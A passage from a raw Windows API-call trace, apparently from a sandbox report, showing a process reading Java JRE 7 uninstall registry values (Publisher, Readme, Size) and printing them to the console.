_File=0x7fefd702ab0) returned 3 [0149.422] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.422] __iob_func () returned 0x7fefd702a80 [0149.422] _fileno (_File=0x7fefd702ab0) returned 1 [0149.422] _errno () returned 0x204bb0 [0149.422] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.422] _errno () returned 0x204bb0 [0149.422] GetFileType (hFile=0x50) returned 0x1 [0149.422] lstrlenW (lpString="\n") returned 1 [0149.422] GetConsoleOutputCP () returned 0x1b5 [0149.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.422] GetConsoleOutputCP () returned 0x1b5 [0149.422] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.422] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.422] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.422] GetProcessHeap () returned 0x3c0000 [0149.422] GetProcessHeap () returned 0x3c0000 [0149.422] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.422] GetProcessHeap () returned 0x3c0000 [0149.422] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.422] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.422] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.422] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x10) returned 0x0 [0149.423] GetProcessHeap () returned 0x3c0000 [0149.423] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x12) returned 0x3df290 [0149.423] GetProcessHeap () returned 0x3c0000 [0149.423] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.423] GetProcessHeap () returned 0x3c0000 [0149.423] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x12 [0149.423] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x10 | out: pdwType=0x29f700*=0x1, pvData="Oracle", pcbData=0x29f780*=0xe) returned 0x0 [0149.423] __iob_func () returned 0x7fefd702a80 [0149.423] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.423] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.423] _fileno (_File=0x7fefd702ab0) returned 1 [0149.423] _errno () returned 0x204bb0 [0149.423] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.423] _errno () returned 0x204bb0 [0149.423] GetFileType (hFile=0x50) returned 0x1 [0149.423] lstrlenW (lpString=" ") returned 4 [0149.423] GetConsoleOutputCP () returned 0x1b5 [0149.423] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.423] GetConsoleOutputCP () returned 0x1b5 [0149.423] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.423] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.423] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.423] lstrlenW (lpString="Publisher") returned 9 [0149.423] __iob_func () returned 0x7fefd702a80 [0149.423] _fileno (_File=0x7fefd702ab0) returned 1 [0149.423] _errno () returned 0x204bb0 [0149.423] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.423] _errno () returned 0x204bb0 [0149.423] GetFileType (hFile=0x50) returned 0x1 [0149.423] lstrlenW (lpString="Publisher") returned 9 [0149.424] GetConsoleOutputCP () returned 0x1b5 [0149.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.424] GetConsoleOutputCP () returned 0x1b5 [0149.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.424] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.424] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.424] __iob_func () returned 0x7fefd702a80 [0149.424] _fileno (_File=0x7fefd702ab0) returned 1 [0149.424] _errno () returned 0x204bb0 [0149.424] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.424] _errno () returned 0x204bb0 [0149.424] GetFileType (hFile=0x50) returned 0x1 [0149.424] lstrlenW (lpString=" ") returned 4 [0149.424] GetConsoleOutputCP () returned 0x1b5 [0149.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.424] GetConsoleOutputCP () returned 0x1b5 [0149.424] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.424] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.424] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.425] __iob_func () returned 0x7fefd702a80 [0149.425] _fileno (_File=0x7fefd702ab0) returned 1 [0149.425] _errno () returned 0x204bb0 [0149.425] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.425] _errno () returned 0x204bb0 [0149.425] GetFileType (hFile=0x50) returned 0x1 [0149.425] lstrlenW (lpString="REG_SZ") returned 6 [0149.425] GetConsoleOutputCP () returned 0x1b5 [0149.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.425] GetConsoleOutputCP () returned 0x1b5 [0149.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.425] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.425] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.425] __iob_func () returned 0x7fefd702a80 [0149.425] _fileno (_File=0x7fefd702ab0) returned 1 [0149.425] _errno () returned 0x204bb0 [0149.425] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.425] _errno () returned 0x204bb0 [0149.425] GetFileType (hFile=0x50) returned 0x1 [0149.425] lstrlenW (lpString=" ") returned 4 [0149.425] GetConsoleOutputCP () returned 0x1b5 [0149.425] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.426] GetConsoleOutputCP () returned 0x1b5 [0149.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.426] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.426] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.426] __iob_func () returned 0x7fefd702a80 [0149.426] _fileno (_File=0x7fefd702ab0) returned 1 [0149.426] _errno () returned 0x204bb0 [0149.426] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.426] _errno () returned 0x204bb0 [0149.426] GetFileType (hFile=0x50) returned 0x1 [0149.426] lstrlenW (lpString="Oracle") returned 6 [0149.426] GetConsoleOutputCP () returned 0x1b5 [0149.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Oracle", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.426] GetConsoleOutputCP () returned 0x1b5 [0149.426] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Oracle", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Oracle", lpUsedDefaultChar=0x0) returned 6 [0149.426] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.426] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.426] __iob_func () returned 0x7fefd702a80 [0149.426] _fileno (_File=0x7fefd702ab0) returned 1 [0149.426] _errno () returned 0x204bb0 [0149.426] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.426] _errno () returned 0x204bb0 [0149.426] GetFileType (hFile=0x50) returned 0x1 [0149.426] lstrlenW (lpString="\n") returned 1 [0149.427] GetConsoleOutputCP () returned 0x1b5 [0149.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.427] GetConsoleOutputCP () returned 0x1b5 [0149.427] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.427] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.427] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.427] GetProcessHeap () returned 0x3c0000 [0149.427] GetProcessHeap () returned 0x3c0000 [0149.427] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0149.427] GetProcessHeap () returned 0x3c0000 [0149.427] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x12 [0149.427] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290 | out: hHeap=0x3c0000) returned 1 [0149.427] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.427] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x58) returned 0x0 [0149.427] GetProcessHeap () returned 0x3c0000 [0149.427] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5a) returned 0x3db830 [0149.427] GetProcessHeap () returned 0x3c0000 [0149.427] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.427] GetProcessHeap () returned 0x3c0000 [0149.427] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5a [0149.427] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x58 | out: pdwType=0x29f700*=0x2, pvData="C:\\Program Files (x86)\\Java\\jre7\\README.txt", pcbData=0x29f780*=0x58) returned 0x0 [0149.427] __iob_func () returned 0x7fefd702a80 [0149.427] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.427] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.427] _fileno (_File=0x7fefd702ab0) returned 1 [0149.427] _errno () returned 0x204bb0 [0149.427] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.428] _errno () returned 0x204bb0 [0149.428] GetFileType (hFile=0x50) returned 0x1 [0149.428] lstrlenW (lpString=" ") returned 4 [0149.428] GetConsoleOutputCP () returned 0x1b5 [0149.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.428] GetConsoleOutputCP () returned 0x1b5 [0149.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.428] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.428] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.428] lstrlenW (lpString="Readme") returned 6 [0149.428] __iob_func () returned 0x7fefd702a80 [0149.428] _fileno (_File=0x7fefd702ab0) returned 1 [0149.428] _errno () returned 0x204bb0 [0149.428] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.428] _errno () returned 0x204bb0 [0149.428] GetFileType (hFile=0x50) returned 0x1 [0149.428] lstrlenW (lpString="Readme") returned 6 [0149.428] GetConsoleOutputCP () returned 0x1b5 [0149.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.428] GetConsoleOutputCP () returned 0x1b5 [0149.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0149.428] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.428] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.429] __iob_func () returned 0x7fefd702a80 [0149.429] _fileno (_File=0x7fefd702ab0) returned 1 [0149.429] _errno () returned 0x204bb0 [0149.429] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.429] _errno () returned 0x204bb0 [0149.429] GetFileType (hFile=0x50) returned 0x1 [0149.429] lstrlenW (lpString=" ") returned 4 [0149.429] GetConsoleOutputCP () returned 0x1b5 [0149.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.429] GetConsoleOutputCP () returned 0x1b5 [0149.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.429] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.429] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.429] __iob_func () returned 0x7fefd702a80 [0149.429] _fileno (_File=0x7fefd702ab0) returned 1 [0149.429] _errno () returned 0x204bb0 [0149.429] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.429] _errno () returned 0x204bb0 [0149.429] GetFileType (hFile=0x50) returned 0x1 [0149.429] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0149.429] GetConsoleOutputCP () returned 0x1b5 [0149.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.430] GetConsoleOutputCP () returned 0x1b5 [0149.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0149.430] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.430] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.430] __iob_func () returned 0x7fefd702a80 [0149.430] _fileno (_File=0x7fefd702ab0) returned 1 [0149.430] _errno () returned 0x204bb0 [0149.430] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.430] _errno () returned 0x204bb0 [0149.430] GetFileType (hFile=0x50) returned 0x1 [0149.430] lstrlenW (lpString=" ") returned 4 [0149.430] GetConsoleOutputCP () returned 0x1b5 [0149.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.430] GetConsoleOutputCP () returned 0x1b5 [0149.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.430] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.430] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.430] __iob_func () returned 0x7fefd702a80 [0149.430] _fileno (_File=0x7fefd702ab0) returned 1 [0149.430] _errno () returned 0x204bb0 [0149.430] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.430] _errno () returned 0x204bb0 [0149.430] GetFileType (hFile=0x50) returned 0x1 [0149.431] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\README.txt") returned 43 [0149.431] GetConsoleOutputCP () returned 0x1b5 [0149.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Java\\jre7\\README.txt", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0149.431] GetConsoleOutputCP () returned 0x1b5 [0149.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Java\\jre7\\README.txt", cchWideChar=43, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Java\\jre7\\README.txt", lpUsedDefaultChar=0x0) returned 43 [0149.431] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 43 [0149.431] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.431] __iob_func () returned 0x7fefd702a80 [0149.431] _fileno (_File=0x7fefd702ab0) returned 1 [0149.431] _errno () returned 0x204bb0 [0149.431] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.431] _errno () returned 0x204bb0 [0149.431] GetFileType (hFile=0x50) returned 0x1 [0149.431] lstrlenW (lpString="\n") returned 1 [0149.431] GetConsoleOutputCP () returned 0x1b5 [0149.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.431] GetConsoleOutputCP () returned 0x1b5 [0149.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.431] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.431] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.432] GetProcessHeap () returned 0x3c0000 [0149.432] GetProcessHeap () returned 0x3c0000 [0149.432] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.432] GetProcessHeap () returned 0x3c0000 [0149.432] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5a [0149.432] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0149.432] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.432] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.432] GetProcessHeap () returned 0x3c0000 [0149.432] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.432] GetProcessHeap () returned 0x3c0000 [0149.432] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.432] GetProcessHeap () returned 0x3c0000 [0149.432] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.432] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.432] __iob_func () returned 0x7fefd702a80 [0149.432] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.432] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.432] _fileno (_File=0x7fefd702ab0) returned 1 [0149.432] _errno () returned 0x204bb0 [0149.432] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.432] _errno () returned 0x204bb0 [0149.432] GetFileType (hFile=0x50) returned 0x1 [0149.432] lstrlenW (lpString=" ") returned 4 [0149.432] GetConsoleOutputCP () returned 0x1b5 [0149.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.432] GetConsoleOutputCP () returned 0x1b5 [0149.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.432] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.433] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.433] lstrlenW (lpString="Size") returned 4 [0149.433] __iob_func () returned 0x7fefd702a80 [0149.433] _fileno (_File=0x7fefd702ab0) returned 1 [0149.433] _errno () returned 0x204bb0 [0149.433] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.433] _errno () returned 0x204bb0 [0149.433] GetFileType (hFile=0x50) returned 0x1 [0149.433] lstrlenW (lpString="Size") returned 4 [0149.433] GetConsoleOutputCP () returned 0x1b5 [0149.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.433] GetConsoleOutputCP () returned 0x1b5 [0149.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0149.433] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.433] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.433] __iob_func () returned 0x7fefd702a80 [0149.433] _fileno (_File=0x7fefd702ab0) returned 1 [0149.433] _errno () returned 0x204bb0 [0149.433] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.433] _errno () returned 0x204bb0 [0149.433] GetFileType (hFile=0x50) returned 0x1 [0149.433] lstrlenW (lpString=" ") returned 4 [0149.433] GetConsoleOutputCP () returned 0x1b5 [0149.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.434] GetConsoleOutputCP () returned 0x1b5 [0149.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 